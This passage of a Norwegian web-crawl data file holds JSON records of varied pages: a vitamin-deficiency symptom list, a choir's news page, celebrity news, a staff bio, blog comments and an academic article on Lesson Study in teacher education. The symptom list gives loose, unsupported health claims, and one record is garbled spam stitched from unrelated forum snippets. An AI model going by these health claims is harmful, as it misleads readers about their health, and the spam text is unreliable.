makt fra forvaltningen og til den hjelpetrengende selv og deres p\u00e5r\u00f8rende.\n\nDette blir bra.\n\nJeg oppfordrer folk til \u00e5 ta kontakt med meg dersom de f\u00e5r opplevelser eller erfaringer de mener det er klokt at jeg f\u00e5r kjennskap til.\n\n", "language": "no", "__index_level_0__": "f56eb7c8-468d-4788-bbcb-094228263d70"}
{"url": "http://kilden.info/2013/05/28/signaler-pa-vitamin-og-mineralmangel/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:53:08Z", "text": "# Signaler p\u00e5 \u2013 vitamin og mineralmangel\n\nby kilden\u00a0\u2022\u00a028. mai 2013\n\n**\u00c5 v\u00e6re oppmerksom p\u00e5 gryende vitamin-/mineralmangel er kritisk, fordi kroppen er avhengig av disse n\u00e6ringsstoffene for \u00e5 utf\u00f8re livsviktige oppgaver. Selv friske og sunne mennesker kan over tid tappe kroppen for essensielle n\u00e6ringsstoffer uten \u00e5 v\u00e6re klar over det. En god helseinvestering er \u00e5 teste status p\u00e5 vitaminer og mineraler \u00e5rlig hos lege.**\n\nFor eksempel er det estimert at halvparten av verdens befolkning har vitamin D mangel, til tross for at mange bor i solrike str\u00f8k. Moderne mennesker er mer innend\u00f8rs enn f\u00f8r og over flere ti\u00e5r er vi blitt kraftig advart mot \u00e5 oppholde oss for lenge i solen. Dette bidrar til mindre dannelse av det livsviktige vitamin D gjennom huden. I Norge har vi et klima som gj\u00f8r at folk flest burde supplere med vitamin D gjennom vinterhalv\u00e5ret og i noen tilfeller hele \u00e5ret.\n\n\n\nBilde:\u00a0http://www.geninv.net\n\nVi gir her noen tegn p\u00e5 en mulig mangel p\u00e5 enkelte vitaminer og mineraler det er lurt \u00e5 passe p\u00e5. Det er likevel viktig \u00e5 v\u00e6re klar over at disse tegnene kan v\u00e6re symptomer p\u00e5 andre underliggende lidelser og at du skal konferere med en kompetent helsearbeider for veiledning og oppf\u00f8lging.\n\n**Negler og h\u00e5r:**\n\nRiller: ofte sinkmangel\n\nHvite flekker: ofte sinkmangel\n\nBuede negler: ofte sinkmangel\n\nMyke eller spr\u00f8 negler: kan v\u00e6re magnesiummangel\n\nH\u00e5rtap: kan v\u00e6re mange ting, men biotin eller sinkmangel er mulig\n\n**Hud:**\n\nDermatitt (betent hud): relatert til mangel p\u00e5 vitamin B2, B3, B6, C, E, A, sink og biotin\n\nFollikul\u00e6r Hyperkeratose (tette porer p\u00e5 baksiden av armene): Vitamin A-mangel\n\nSeboreisk dermatitt (flassende, fet hud): kan v\u00e6re biotin mangel\n\nEksem: potensielt Vitamin B2 eller vitamin E mangel.\n\nPsoriasis: forbundet med lav vitamin A, D, E, C og zinc.v\n\nAcne Vulgaris: forbundet med mangel p\u00e5 vitamin A, B5, B6, E, og sink\n\nAkne Rosacea: forbundet med mangel p\u00e5 vitamin C og B2\n\n**\u00d8yne:**\n\nNattblindhet: vitamin A-mangel\n\nM\u00f8rke ringer: ofte et tegn p\u00e5 matintoleranse\n\n**Nese:**\n\nNesebl\u00f8dning (neseblod): kan v\u00e6re en folsyre eller vitamin B12 mangel, vitamin K-mangel, eller mangel p\u00e5 antioksidanter. F\u00e5 dette jobbet opp om det er hyppig.\n\n**Munn:**\n\nHoven eller sprukken tunge: kan v\u00e6re jernmangel, eller mangel p\u00e5 vitaminer B2, B3, B6, eller B12\n\nSprukne, flassende lepper eller kantene av munnen: kan v\u00e6re en vitamin B2-mangel\n\nBl\u00f8dende tannkj\u00f8tt: vitamin C-mangel\n\nTannkj\u00f8ttsykdom: folsyre, Q10, eller vitamin C-mangel\n\nTap av smak: kan v\u00e6re en B12 eller sink-mangel\n\nCanker s\u00e5r: kan v\u00e6re en B12 eller folatmangel\n\n**\u00d8rer:**\n\nTinnitus: kan v\u00e6re for\u00e5rsaket av mange ting, men kan v\u00e6re en Vitamin B3, B12 eller vitamin E mangel. F\u00e5 dette arbeidet opp.\n\n**Muskler:**\n\nHyppig s\u00e5rhet eller krampe: kan v\u00e6re magnesiummangel eller elektrolyttforstyrrelser\n\nRestless Leg Syndrome ( urolige bein): kan v\u00e6re for\u00e5rsaket av en rekke ting, men kan v\u00e6re en elektrolyttubalanse, eller mangel p\u00e5 jern, kalsium, vitamin E eller folat.\n\n**Hvis du opplever noen av disse symptomene, kan det v\u00e6re en god id\u00e9 \u00e5;**\n\n1\\) \u00f8ke frukt og gr\u00f8nnsak inntak\n\n2\\) finne en god, absorberbar multivitamin\n\n3\\) finne ut om du har en underliggende tilstand som hindrer absorpsjon av n\u00e6ringsstoffer, er eller tar reseptbelagte medikamenter som hemmer absorpsjon. **Og for de angitte forhold, vurdere \u00e5 f\u00e5 en grundig unders\u00f8kelse.**\n\n\u00a0\n**Hovedbilde:** http://naturallyfreerd.com/\n\n**Kilder:**\n", "language": "no", "__index_level_0__": "37b50e46-5de0-45fa-a757-b8a41628c7bd"}
{"url": "http://spelkoret.com/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:13:12Z", "text": "# Kreftomsorg Rogaland mottok gavesjekk\n\n  \nFor 30.\u00e5ret arrangerte Stavanger Lions Club og Song- og Spelkorlaget av 8. mars & s\u00f8n konserten \u00abSyng med oss\u00bb i Stavanger konserthus. Konserten gikk ogs\u00e5 i \u00e5r for fulle hus og hvert \u00e5r deles det ut en gavesjekk til en frivillig organisasjon. Dette \u00e5ret var det Kreftomsorg Rogaland som mottok en gavesjekk p\u00e5 kr 100.000,- for sitt arbeid for barn og unge.\n\n# \n\nAtle Halberg, Kristian Sandvik og Kjell Framnes sammen med Silje Opofte og Inger Marie Farbrot fra Kreftomsorg Rogaland (foto: Svein G Lunde)\n\n# Ekstra Ordin\u00e6rt \u00c5rsm\u00f8te III 23 November 2017\n\nKristian Sandvik tok gjenvalg p\u00e5 Ekstra Ordin\u00e6rt \u00c5rsm\u00f8te III i g\u00e5r, og blir & s\u00f8n i 2 nye \u00e5r.\n\n\n\n# Booking av Song og Spelkorlaget av 8 mars & S\u00f8n\n\n### Synge sammen med oss?\n### Dele lokaler med oss?\n\n\u00a0****\n\nSong og Spelkorlaget er s\u00e5 heldige \u00e5 ha b\u00e5de \u00f8velses- og festlokale i Dr\u00f8velens Hus, Normannsgt. 24 i Stavanger. Men vi legger ikke beslag p\u00e5 lokalene hele uken lang, bortsett fra torsdagene som er den faste \u00f8vingsdagen v\u00e5r.\n\nDerfor kan vi godt tenke oss \u00e5 dele lokalene med noen andre akt\u00f8rer.\n\n### Booking av Song og Spelkorlaget av 8 mars & S\u00f8n\n\n", "language": "no", "__index_level_0__": "f193b09b-2f18-4df3-82dc-ea49ad57141b"}
{"url": "https://www.seher.no/kjendis/det-stemmer-at-jeg-er-gravid/64691177", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:37:48Z", "text": "\n\n## \u2013 Det stemmer at jeg er gravid\n\nKomikeren Lisa T\u00f8nne venter sitt andre barn.\n\n2\\. juli 2010 kl. 7.19\n\n  Arve Vassbotten  \n\nSEHER.NO: Komiker Lisa T\u00f8nne (32) og ektemannen, programleder Kyrre Holm Johannessen (36), venter sitt andre barn, skriver Se og H\u00f8r.  \n  \n\\- Det stemmer at jeg er gravid. Jeg er ca. tre m\u00e5neder p\u00e5 vei. Vi gleder oss veldig, forteller Lisa  \nT\u00f8nne til Se og H\u00f8r.  \n  \nFor tiden er komikeren aktuell med sommershowet \u00abSommerlatter p\u00e5 Havna\u00bb sammen med komikerkollega Terje Sporsem (34) i Tj\u00f8me.  \n  \nLisa T\u00f8nne og ektemannen ble ogs\u00e5 foreldre til en liten gutt i desember 2008.  \n  \n*Vi bel\u00f8nner gode kjendistips. Tips oss p\u00e5 email@example.com, ring v\u00e5r tipstelefon 93076767 eller send sms/mms med kodeord SEHERTIPS til 1901.*  \n**  \n", "language": "no", "__index_level_0__": "ef433895-cc6f-406b-9ba5-0cce146b321c"}
{"url": "http://tawakonilibrary.com/3729-ste-kallenavn-til-jenter.php", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:12:23Z", "text": "# S\u00f8te kallenavn til jenter\n\nS\u00f8te gutter singel / Som er halle berry dating 2017 . Vis innlegg. Hmm.. Ja det var noen fine og s\u00f8te navn det, hehe :\\!: Dette innlegget har blitt redigert av skyhawk: 17. mars 2007 - 00:\u00a0Mennesker er ikke alltid det de ser ut som\u2026 17. mar 2007 Hm. Jeg bruker stort sett tard, nerd, teiting, heiting, nydelige og.. gutten min? :wee: Edit: Personlig liker jeg ikke pus. Alle som har kalt meg pus har vist seg \u00e5 v\u00e6re drittsekker\n\nfuzzzy skrev: \"Samboeren min har s\u00e5 mange s\u00f8te navn p\u00e5 meg, men jeg finner ikke p\u00e5 noen til ham. Hva kan man kalle typen uten at det blir for klissete eller banalt??\" Du kan jo pr\u00f8ve \"pus\" og \"pusen\" :) kekePower. A waste of space\\! Upassende innlegg? Svar. fuzzzyInnlegg: 120. 15.11.02 13:42. Da har alle ansatte blitt presentert, og - Rederiet Pub & Bar 19. feb 2006 Er jo s\u00f8tt nok det? Jobber jo p\u00e5 Interaktiv Frokost, og hadde dette som tema en sending. Det var en som kalte kj\u00e6resten sin for \u00abMy Ass\u00bb, og det er jo litt s\u00f8tt, da.. Andrea: - Kallenavn er s\u00f8tt, synes jeg, sp\u00f8rs jo hva det er da. Babyspr\u00e5k er vel litt teit, hvis det ikke har noe sammenheng. Kristine: - Det kommer\u00a0 t\u00f8ff herre jakke 5. okt 2010 Bare kj\u00e6resten min (brukes oftest\\!) Eller kjekken min. Eller mannen min. Eller kj\u00e6re Er ikke noe fan av kallenavn p\u00e5 gubben - kallenavn er s\u00e5 femi - mannen er jo macho\\!\\! N\u00e5r jeg tenker meg om liker jeg ikke s\u00e5nne kjempes\u00f8te kallenavn p\u00e5 meg selv heller. Holder lenge med at sambo kaller meg Fina\\!\\! det nye sjekking 23. mai 2010 Gutter har jo s\u00e5 mye \u00e5 velge mellom av s\u00f8te kallenavn p\u00e5 oss jenter.. Det er jo gjerne s\u00f8ta, baby, honey, snuppa. Og alle disse kallenavnene er navn de kan bruke, uten at det m\u00e5 ligge ett forhold i de (slike som kj\u00e6re, elskede.) Men hva kan vi jentene bruke tilbake til en gutt man liker, men som man ikke\u00a025. jan 2014 Kallenavn. Dette gjelder generelt: IKKE KALL JENTER SEXY/ DIGG/ BABE osv Da f\u00e5r man en hore f\u00f8lelse av seg selv, p\u00e5 en m\u00e5te, og man f\u00f8ler liksom om at du \u00f8nsker nakenbilder. Kall oss heller bebbi/ \u00c5 stryke hun p\u00e5 kinnet, eller armene er en s\u00f8t ting, i stedet for \u00e5 kl\u00e5 p\u00e5 henne. 5. Ikke driv med flere\u00a0\n", "language": "no", "__index_level_0__": "0abde4d8-e9f7-4aea-b29c-3ca9e1764c97"}
{"url": "https://www.anicura.no/jeloy-dyreklinikk/vare-medarbeidere/administrasjon/milena-licina/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:10:08Z", "text": "# Milena Licina\n\n### Radiograf  \n\n#### Utdanning\n\nMilena har en bachelorgrad i radiografi. Utdannet ved h\u00f8gskolen i Oslo, avgangs\u00e5r 2012. Hun har jobbet som radiograf ved sykehuset \u00d8stfold og Akershus universitetssykehus. Milena har ogs\u00e5 en videreutdanning innenfor barneradiografi fra h\u00f8gskolen i Bergen fra 2015.\n\n#### Spesialfelt\n\nMilena er veldig glad i jobben sin og brenner for kvalitet i sitt arbeid som radiograf. Hun har jobbet mye med CT, r\u00f8ntgen og angiografi/intervensjon da hun jobbet p\u00e5 sykehuset. Og hun sier selv at hun er veldig glad i \u00e5 jobbe med mennesker. P\u00e5 klinikken hos oss tar hun ansvar ogs\u00e5 utenom sine egne arbeidsoppgaver som radiograf og hjelper til der det trengs, uansett oppgave.\n\nMilena har alltid elsket alle typer dyr og har alltid \u00f8nsket \u00e5 kunne jobbe med dyr. I Januar 2017 ble \u00f8nsket oppfylt og hun startet \u00e5 arbeide hos oss p\u00e5 AniCura Jel\u00f8y Dyreklinikk. Milena har en hannhund av rasen Boer Boel.\n\n", "language": "no", "__index_level_0__": "928f8d55-88f0-40eb-a6a7-62c823db3610"}
{"url": "http://syglad.blogspot.com/2012/09/toalettmappe-toiletry.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-24T23:31:47Z", "text": "9/23/2012              \n#### 3 kommentarer:\n\n1.  \n    \n    Karipia23. september 2012 kl. 09:21\n    \n    S\u00e5 fin den var.  \n    \u00d8nsker deg en toppers s\u00f8ndag vennen \\<3\n    \n2.  \n    \n    sissel23. september 2012 kl. 10:53\n    \n    Fin, og det samme var ponchoen under her. Den som kunne ha v\u00e6rt like flink til \u00e5 bruke symaskina som det du er:)\n    \n3.  \n    \n    Petronella23. september 2012 kl. 13:50\n    \n    Kjempefin toalettmappe, og herlig barnebarns-poncho :-)\n    \nBlir glad for en kommentar :)\n## Dette er syglad.\n\n\n\nsylvi ruud  \n\n", "language": "no", "__index_level_0__": "d7f3a0fa-2c0a-4796-89cb-ca42e3a0022a"}
{"url": "http://docplayer.me/2113709-Lesson-study-og-laererstudenters-fokus-pa-elevers-laering-i-veiledningssamtaler.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-25T00:17:07Z", "text": "1 Raymond Bjuland Institutt for grunnskolel\u00e6rerutdanning, idrett og spesialpedagogikk, Universitetet i Stavanger Nina Helgevold Institutt for grunnskolel\u00e6rerutdanning, idrett og spesialpedagogikk, Universitetet i Stavanger Elaine Munthe Det humanistiske fakultet, Universitetet i Stavanger Lesson Study og l\u00e6rerstudenters fokus p\u00e5 elevers l\u00e6ring i veiledningssamtaler Sammendrag S\u00f8kelyset settes her p\u00e5 norsk grunnskolel\u00e6rerutdanning og p\u00e5 veiledningssamtaler i praksisoppl\u00e6ring hvor Lesson Study ble innf\u00f8rt som arbeidsmetode. Veiledningssamtaler i matematikk og naturfag analyseres ut fra et teoretisk rammeverk om hva som har betydning for elevers l\u00e6ring (Bransford, Brown, & Cocking, 2000). Dette gir et grunnlag for \u00e5 identifisere elevsentrerte, kunnskapssentrerte og vurderingssentrerte ytringer. Ytringene blir i tillegg knyttet til tre sentrale aspekter ved planlegging og gjennomf\u00f8ring av en forskningstime i en Lesson Study syklus: studentenes forskningssp\u00f8rsm\u00e5l, deres prediksjon av hva som kan forventes av elevene i forhold til dette l\u00e6ringstemaet og hvordan de vil observere elevenes l\u00e6ring. Analysene p\u00e5peker interessante forskjeller mellom studentgruppene p\u00e5 tvers av de to fagene. Studentene i matematikk valgte \u00e5 legge opp undervisningen ut ifra l\u00e6rebokens niv\u00e5inndeling av l\u00e6restoffet, noe som ser ut til \u00e5 virke hemmende med tanke p\u00e5 elevobservasjon og prediksjon knyttet til det faglige emnet. Studentene i naturfag var mer opptatt av \u00e5 formulere gode l\u00e6ringsm\u00e5l og forskningssp\u00f8rsm\u00e5l. Veiledningssamtalene i naturfag hadde ogs\u00e5 et tydelig fokus p\u00e5 prediksjon samt aktiv elevobservasjon under gjennomf\u00f8ringen av undervisnings\u00f8kten. Resultater fra denne studien dr\u00f8ftes i forhold til hvordan l\u00e6rerutdannere p\u00e5 campus og i praksisskoler bidrar til l\u00e6rerstudenters muligheter for utvikling av n\u00f8dvendig kompetanse for \u00e5 kunne arbeide p\u00e5 forskningsbaserte m\u00e5ter i skolen. Resultatene viser ogs\u00e5 betydningen av \u00e5 f\u00f8lge opp implementering av nye tiltak i l\u00e6rerutdanninger. N\u00f8kkelord: Praksisoppl\u00e6ring, grunnskolel\u00e6rerstudenter, Lesson Study R. Bjuland, N. Helgevold & E. Munthe 1/ adno.no\n\n.\")\n\n2 Abstract In this article, we present a study of field practice during Initial Teacher Education in Norway where Lesson Study was implemented. Mentoring sessions in mathematics and science were analyzed based on a theoretical framework that highlights pupils learning (Bransford, Brown, & Cocking, 2000). This framework was used as an analytical tool to identify pupil-oriented, knowledgeoriented and assessment-oriented utterances. Such utterances were also related to three crucial aspects of planning and carrying out a research lesson in a Lesson Study cycle: the student teachers research questions, their predictions of possible difficulties that might arise in relation to the learning goal and how they intend to observe pupils learning. The analyses of the mentoring sessions show interesting differences between the student groups across the two subjects. The students in mathematics based their teaching on the textbook s division of task levels, something that seems to have a restraining effect on pupil observation and prediction related to mathematical goals and content. The students in science were more concerned with formulating adequate learning goals and research questions. The mentoring sessions in the science groups also had a clear focus on prediction and pupil observation during the research lesson. Results of this study are discussed in relation to how faculty teachers and mentoring teachers in field schools contribute to student teachers developing the competence needed to work in research-based ways in schools. The results also show the importance of following up the implementation of new working methods in Initial Teacher Education programs. Key words: Field practice, studeteachers, Lesson Study Innledning Et hovedm\u00e5l for grunnskolel\u00e6rerutdanningene er at de skal kvalifisere til forskningsbasert yrkesut\u00f8velse (Kunnskapsdepartementet, 2010). Norge er et av f\u00e5 land som er s\u00e5 spesifikk p\u00e5 at yrkesut\u00f8velse i grunnoppl\u00e6ring skal v\u00e6re basert p\u00e5 forskning (Munthe & Rogne, 2015). L\u00e6rerutdanningenes oppgave er dermed \u00e5 finne fram til gode m\u00e5ter \u00e5 n\u00e5 dette m\u00e5let p\u00e5. St\u00e5stedet som er tatt i studien som presenteres her, er at det \u00e5 kvalifisere til forskningsbasert yrkesut\u00f8velse er en oppgave som l\u00e6rerutdannere ved h\u00f8gskoler og universiteter m\u00e5 samarbeide med l\u00e6rerutdannere i praksisskoler om. Dette samarbeidet kan v\u00e6re en utfordring for l\u00e6rerutdannere p\u00e5 begge l\u00e6ringsarenaene (campus og praksisskole). B\u00e5de studier gjort i USA (for eksempel Feiman-Nemser & Buchman, 1985) og nasjonalt (for eksempel Ohnstad & Munthe, 2010; Sundli, 2007) finner at en av fallgropene i praksisoppl\u00e6ring er at oppl\u00e6ringen ikke gir god nok anledning til \u00e5 studere, analysere og utvikle kritisk kunnskap, men heller f\u00f8rer til at studenter overtar den praksis R. Bjuland, N. Helgevold & E. Munthe 2/ adno.no\n\n\n\n3 som de kvalifiseres innen. L\u00e6rerutdannere p\u00e5 campus har varierende grad av muligheter til forskning i skoler som kan gi dem n\u00f8dvendig innsikt i l\u00e6rerarbeidet som foreg\u00e5r i skolene. Det er flere som framhever hvor vanskelig det er \u00e5 sikre rekruttering av l\u00e6rerutdannere som b\u00e5de har en PhD og didaktisk kompetanse, og l\u00e6rerutdannere i praksisskoler har lite eller ingen forskningserfaring (F\u00f8lgegruppen, 2013). Et tre\u00e5rig forskningsprosjekt ved Universitetet i Stavanger ( Teachers as Students - TasS) har tatt tak i denne problematikken. Definisjonen av kvalifisering til forskningsbasert yrkesut\u00f8velse i prosjektet, er at l\u00e6rerstudenter l\u00e6rer \u00e5 studere undervisning p\u00e5 m\u00e5ter som gir dem innsikt i hvordan de kan st\u00f8tte opp om l\u00e6ring hos elever. Dette er en inquiry-basert form for systematisk utforsking og l\u00e6ring. I TasS prosjektet er det benyttet et tidsforskj\u00f8vet eksperimentelt design. Dette omfattet: (1) En studie av normalsituasjonen i studentenes undervisningspraksis (kontrollgruppe, gjennomf\u00f8rt v\u00e5ren 2012), etterfulgt av (2) en intervensjon som var inspirert av Lesson Study (intervensjonsgruppe, gjennomf\u00f8rt v\u00e5ren 2013) (Murata & Pothen, 2011; Stigler & Hiebert, 1999). Forel\u00f8pige resultater av analyser fra alle veiledningssamtaler i intervensjonssituasjonen viser endringer sammenlignet med veiledningssituasjoner i kontrollgruppen, men at det ogs\u00e5 er variasjon i intervensjonsgruppen. Det som kjennetegner intervensjonen er st\u00f8rre grad av studentsamarbeid og fokus p\u00e5 faglige l\u00e6ringsm\u00e5l der studentene retter oppmerksomheten mot elevenes l\u00e6ring (Helgevold, N\u00e6sheim-Bj\u00f8rkvik, & \u00d8strem, 2013). Innledende analyser ble gjort gjennom tynne beskrivelser (Rivera & Tharp 2004) av det empiriske materialet. Det ble utviklet en observasjonsprotokoll til registrering av innhold og samtaleaktiviteter i de ulike veiledningssamtalene. Resultatene fra denne studien er brukt for \u00e5 velge ut veilednings\u00f8kter som kan v\u00e6re av interesse for mer dyptpl\u00f8yende analyser. I denne artikkelen har vi valgt \u00e5 studere veiledningssamtaler i naturfag og matematikk fordi det ser ut til \u00e5 v\u00e6re forskjell s\u00e6rlig mellom disse to fagene n\u00e5r det gjelder elevfokus og faglig innhold i samtalene. Forskningssp\u00f8rsm\u00e5l som har ledet arbeidet som presenteres her er: Hva kjennetegner veiledningssamtalene i matematikk og naturfag og hvordan kan vi forklare forskjellene? Teoretisk bakgrunn Lesson study er en systematisk l\u00e6ringsform for l\u00e6rere som tar utgangspunkt i planlegging og studie av instruksjon og l\u00e6ring (Murata & Pothen, 2011; Stigler & Hiebert, 1999). I TasS-prosjektet er dette forst\u00e5tt som et svar p\u00e5 forventningene om analyse og utvikling av kritisk kunnskap og dermed ogs\u00e5 kravet om \u00e5 kvalifisere til forskningsbasert yrkesut\u00f8velse n\u00e5r vi forst\u00e5r forskningsbasert som en inquiry basert arbeidsm\u00e5te (Munthe & Rogne, 2015). R. Bjuland, N. Helgevold & E. Munthe 3/ adno.no\n\n\n\n4 Selv om Lesson Study tradisjonelt er mest kjent og mye brukt i forbindelse med profesjonell l\u00e6ring for l\u00e6rere i Japan, er Lesson Study ogs\u00e5 i ferd med \u00e5 finne sin plass i japanske l\u00e6rerstudenters praksisskoler (s\u00e5kalte Fuzoku skoler) (Elipane, 2011). Det er ogs\u00e5 rapportert om gode erfaringer med bruk av Lesson Study blant amerikanske l\u00e6rerstudenter (Murata & Pothen, 2011). I en Lesson Study syklus kommer en gruppe l\u00e6rere sammen for \u00e5 planlegge, gjennomf\u00f8re og observere, for deretter \u00e5 dr\u00f8fte observasjoner, vurdere mulige endringer for \u00e5 f\u00e5 bedre innsikt eller bedre resultater, raffinere og pr\u00f8ve ut p\u00e5 nytt og til slutt \u00e5 formidle om en undervisnings\u00f8kt eller en forskningstime som den ogs\u00e5 blir kalt (Munthe & Postholm, 2012). I den kollektive planleggingen som foreg\u00e5r i Lesson Study grupper, er det \u00e5 definere forskningssp\u00f8rsm\u00e5l som l\u00e6rerne vil finne ut av gjennom observasjon i forskningstimen, prediksjon av elevers reaksjoner p\u00e5 hva som planlegges og hvordan gjennomf\u00f8re observasjon for \u00e5 f\u00e5 svar p\u00e5 forskningssp\u00f8rsm\u00e5lene tre helt sentrale komponenter. Prediksjon er kanskje litt uvant for norske l\u00e6rerstudenter og l\u00e6rere i en planleggingsfase. Dette kan forst\u00e5s som hypoteser som framsettes i forkant av forskningstimen (den undervisningstimen som skal studeres) og som bidrar til \u00e5 f\u00e5 fram l\u00e6rernes/l\u00e6rerstudentenes egne forforst\u00e5elser. Ved \u00e5 v\u00e6re mer eksplisitt p\u00e5 egne forforst\u00e5elser om elevers forst\u00e5else eller l\u00e6ringsmuligheter eller reaksjoner, kan det v\u00e6re enklere for l\u00e6rerstudenter \u00e5 utvikle egen forst\u00e5else gjennom observasjon. Denne informasjonen er nyttig med tanke p\u00e5 \u00e5 kunne studere konsekvenser av valgene som blir bestemt under planleggingen (Munthe & Postholm, 2012). Hensikten med Lesson Study er \u00e5 forbedre l\u00e6ringsmuligheter for elever. Vi benytter derfor et teoretisk rammeverk som har identifisert hva som kjennetegner undervisning som har betydning for elevers l\u00e6ring (Bransford et al., 2000). L\u00e6rere som er bevisst p\u00e5 det elevsentrerte perspektivet vil i sin undervisning v\u00e6re opptatt av kunnskaper, ferdigheter og holdninger som elevene tar med seg inn i klasserommet. Dette omfatter blant annet elevenes forkunnskaper til det faglige emnet, men ogs\u00e5 elevenes individuelle forskjeller og ulike kulturelle bakgrunn. Bransford et al. (2000) viser til diagnostisk undervisning som et eksempel p\u00e5 hvordan en starter undervisningen med utgangspunkt i elevenes kunnskapsstrukturer. En slik undervisning tar sikte p\u00e5 \u00e5 diagnostisere (elevene) gjennom observasjon, sp\u00f8rsm\u00e5l og samtaler og gjennom refleksjon over resultat av undervisningen. I et elevfokusert l\u00e6ringsmilj\u00f8 vil l\u00e6reren respektere og fors\u00f8ke \u00e5 forst\u00e5 elevers tidligere erfaringer og forst\u00e5else, slik at disse utgj\u00f8r det fundamentet som nye forst\u00e5elser kan bygges p\u00e5. Et elevsentrert perspektiv m\u00e5 koples sammen med et kunnskapssentrert perspektiv hvor attention must be given to what is taught (information, subject matter) why it is taught (understanding), and what competence or mastery looks like (Bransford et al., 2000, s. 24). Dette perspektivet fokuserer p\u00e5 hva slags informasjon og hvilke aktiviteter som st\u00f8tter elevene i \u00e5 utvikle en forst\u00e5else for det disiplinfaglige og er opptatt av at l\u00e6rere m\u00e5 ha en kritisk tiln\u00e6rming til R. Bjuland, N. Helgevold & E. Munthe 4/ adno.no\n\n.\")\n\n5 eksisterende l\u00e6replaner. I et kunnskapssentrert l\u00e6ringsmilj\u00f8 vektlegges elevenes meningsskaping og utvikling av metakognitive ferdigheter. Ogs\u00e5 vesentlig er learning the landscape (Greeno sitert i Bransford et al., 2000, s.139). Elevers utvikling av kunnskap og forst\u00e5else krever et nettverk av sammenhenger som kopler egen forst\u00e5else opp mot et st\u00f8rre landskap. I tilrettelegging av kunnskapssentrerte l\u00e6ringsmilj\u00f8 vil det alltid v\u00e6re utfordrende \u00e5 finne et gunstig balansepunkt mellom aktiviteter som skal bidra til utvikling av elevers forst\u00e5else og aktiviteter som st\u00f8tter elever i automatisering av n\u00f8dvendige funksjonelle ferdigheter. Det vurderingssentrerte perspektivet er et tredje kjennetegn p\u00e5 en l\u00e6ringsfremmende undervisning der l\u00e6rere er opptatt av formativ vurdering som har til hensikt \u00e5 synliggj\u00f8re for b\u00e5de l\u00e6rere og elever hva elevene kan. Et vesentlig poeng her er at vurdering og tilbakemelding knyttes til elevers forst\u00e5else og ikke til i hvilken grad eleven kan gjengi prosedyrer og faktakunnskap. Tilbakemeldinger til elever b\u00f8r forekomme kontinuerlig og v\u00e6re integrert i selve undervisningen, den er mest verdifull n\u00e5r elevene gis mulighet til revidere egen tenkning og forst\u00e5else i selve l\u00e6ringsprosessen. Effektive l\u00e6rere fors\u00f8ker gjennom sin undervisning \u00e5 l\u00e6re mer om hva elevene tenker og forst\u00e5r, og if\u00f8lge Bransford et al. (2000, s. 24) vil formative assessments help both teachers and students monitor progress. Bransford et al. (2000) l\u00f8fter ogs\u00e5 fram det fellesskapssentrerte perspektivet som et fjerde kjennetegn p\u00e5 en l\u00e6ringsfremmende undervisning. Disse forskerne bruker betegnelsen community-centered environments som viser b\u00e5de til l\u00e6ringsmilj\u00f8et i en klasse, p\u00e5 en skole, men ogs\u00e5 til det n\u00e6rmilj\u00f8et som skolen er en del av. Elevers l\u00e6ring styrkes gjennom at det etableres sosiale normer som verdsetter elevers utforsking og muligheter til \u00e5 gj\u00f8re feil. I hvilken grad fellesskapssentrerte l\u00e6ringskulturer vektlegges i det enkelte klasserom m\u00e5 ogs\u00e5 sees i perspektiv av hvordan den overordnede samfunnskulturen p\u00e5virker normer i klasserommet. Begrepene fra Bransford et al. (2000) vil utgj\u00f8re analytiske begreper for \u00e5 studere hva som karakteriserer veiledningssamtaler i matematikk og naturfag. Metode I datainnsamlingen i TasS prosjektet v\u00e5ren 2013 deltok to praksisgrupper fra hvert av de fire fagene matematikk, naturfag, engelsk og kropps\u00f8ving. Studenter og praksisl\u00e6rere er selvselekterte til \u00e5 delta i studien. Alle gruppene deltok i gruppeintervju f\u00f8r og etter praksisoppl\u00e6ringsperioden i det som var deres fjerde semester. Det ble gjort videoopptak av f\u00f8rveiledning, selve forskningstimen som de gjennomf\u00f8rte, mellomveiledning for endring, ny forskningstime og etterveiledning. Vi har selektert et utvalg av materialet. Seleksjonen er gjort med utgangspunkt i en tidligere studie av innhold i veilednings\u00f8kter p\u00e5 et mer over- R. Bjuland, N. Helgevold & E. Munthe 5/ adno.no\n\n\n\n6 ordnet plan ved hjelp av tynne beskrivelser (Helgevold et al., 2013). I denne artikkelen studerer vi n\u00e6rmere forskjeller som ble identifisert. Datamaterialet i denne studien best\u00e5r av f\u00f8rveiledningssamtaler i to praksisgrupper i matematikk og f\u00f8rveiledningssamtaler i to praksisgrupper i naturfag. En praksisl\u00e6rer er veileder i hver gruppe. Deltakere De to praksisgruppene i matematikk bestod av henholdsvis tre og fire studenter. Studentene var alle tilknyttet Grunnskolel\u00e6rerutdanning 5 10 og hadde gjennomf\u00f8rt 60 studiepoeng i faget (GLU 5 10, matematikk 1 og matematikk 2). Studentene hadde siste eksamen i matematikk i tredje semester, men de har imidlertid praksisoppl\u00e6ring i matematikk ogs\u00e5 i sitt fjerde semester. Siden studentene ikke hadde undervisning i matematikk p\u00e5 campus i det fjerde semesteret, fikk de i liten grad innf\u00f8ring i Lesson Study med fokus p\u00e5 matematikkfaget i forkant av praksisoppl\u00e6ringsperioden. Den ene praksisgruppen i naturfag bestod av fire studenter som alle var tilknyttet Grunnskolel\u00e6rerutdanning 1 7. Den andre praksisgruppen i naturfag bestod av tre studenter som alle var tilknyttet Grunnskolel\u00e6rerutdanning Alle studentene var i sitt fjerde semester, og studentene hadde startet med naturfag v\u00e5ren F\u00f8r praksis hadde begge studentgruppene en 